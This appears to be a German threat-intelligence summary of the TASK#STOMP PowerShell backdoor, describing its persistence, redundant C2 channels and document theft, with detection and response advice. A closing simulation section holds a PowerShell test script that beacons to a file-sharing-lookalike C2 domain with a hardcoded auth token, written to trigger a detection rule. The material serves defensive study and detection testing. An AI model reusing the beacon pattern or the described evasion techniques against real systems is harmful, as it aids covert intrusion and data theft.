TASK#STOMP: PowerShell-Backdoor für Dokumentendiebstahl und Fernzugriff

Zusammenfassung

TASK#STOMP ist ein widerstandsfähiger PowerShell-basierter Backdoor, der VBScript-Orchestrierung nutzt, um mehrere Persistenzmechanismen zu etablieren. Die Malware verwendet zur Umgehung der TLS-Zertifikatsvalidierung die Laufzeitkompilierung von C# und unterhält zwei redundante C2-Kanäle für Spionageoperationen. Ihre Fähigkeiten umfassen automatisierten Dokumentendiebstahl, Überwachung und die Ausführung beliebiger Remote-Befehle auf kompromittierten Windows-Systemen.

Untersuchung

Securonix Threat Research führte eine statische und dynamische Analyse der skriptgesteuerten Windows-Infektionskette durch. Forscher dekodierten Base64-kodierte Nutzlasten, einschließlich diag_pack.dat and win_conn_cfg.dat, und rekonstruierte den Ausführungsprozessbaum. Die Untersuchung deckte auch Timestomping auf, geplante Aufgabenrotation und Laufzeit-.NET-Kompilierungstechniken zur Umgehung der Sicherheitsdetektion.

Minderung

Verteidiger sollten verdächtige Prozessbeziehungen überwachen, insbesondere wscript.exe or cscript.exe Start der schtasks.exe mit XML-Definitionen, die in Benutzerschreibverzeichnissen gespeichert sind. Das Aktivieren der PowerShell-Skriptblockprotokollierung und AMSI-Telemetrie kann helfen, die Dekodierung von Speicher-Nutzlasten zu identifizieren. Das Blockieren bekannter C2-Domains und das Erkennen unerwarteter csc.exe Kinderprozesse, die von PowerShell gestartet werden, kann die Ausführung weiter stören.

Antwort

Wenn TASK#STOMP-Aktivität erkannt wird, sollten Einsatzkräfte alle Persistenzanker in koordinierter Weise entfernen, einschließlich geplanter Aufgaben und Startordnereinträge. Aktive VBScript- und PowerShell-Instanzen im Zusammenhang mit dem WinDefendSvc Verzeichnis sollten beendet werden. Task-XML-Dateien und gestaffelte .dat Nutzlasten sollten zur forensischen Analyse vor der Bereinigung erhalten bleiben.

Schlüsselwörter: TASK#STOMP, PowerShell-Backdoor, VBScript, Multi-Anker-Persistenz, C#-Kompilierung, TLS-Zertifikatsvalidierung, redundante C2, Dokumentendiebstahl, Überwachung, Remote-Befehlsausführung, Securonix Threat Research, Base64, diag_pack.dat, win_conn_cfg.dat, Timestomping, geplante Aufgabenrotation, .NET-Kompilierung, wscript.exe, cscript.exe, schtasks.exe, Skriptblockprotokollierung, AMSI, csc.exe, WinDefendSvc.

Simulation Ausführung

• Angriffserzählung & Befehle: Der Angreifer hat erfolgreich Persistenz auf einem Arbeitsplatz mithilfe eines TASK#STOMP-Backdoor etabliert. Um weitere Anweisungen zu erhalten und gestohlene Daten abzuleiten, initiiert die Malware eine PowerShell-Sitzung. Das Skript ist so gestaltet, dass es als legitimer Webverkehr getarnt wird, indem es mit einer Domain kommuniziert, die einen Datei-Austauschdienst nachahmt (corecloudfileshare.xyz). Um sicherzustellen, dass nur der autorisierte Backdoor mit dem C2 kommunizieren kann, beinhaltet das Skript ein fest kodiertes X-Auth-Token in den HTTP-Request-Headern. Diese spezifische Kombination aus Destination und Header ist der primäre Auslöser für unsere Erkennungslogik.

• Regressions-Testskript:

  # TASK#STOMP Simulationsskript
  # Zweck: Imitieren der C2-Kommunikation, um Erkennungsregel auszulösen
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] Starte simulierte C2-Kommunikation zu $C2Domain..."
  try {
      # Wir verwenden -ErrorAction SilentlyContinue, weil die Domain sich in einer realen Testumgebung nicht auflösen lässt
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Befehl gesendet."
  } catch {
      Write-Host "[!] Verbindung fehlgeschlagen (Erwartet, wenn die Domain nicht existent ist), aber Telemetrie sollte generiert werden."
  }

• Bereinigungskommandos:

  # Keine persistente Artefakte, die vom Simulationsskript erstellt wurden. 
  # Wenn eine Datei abgelegt wurde, verwenden: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] Bereinigung der Simulation abgeschlossen. Keine Artefakte entfernt."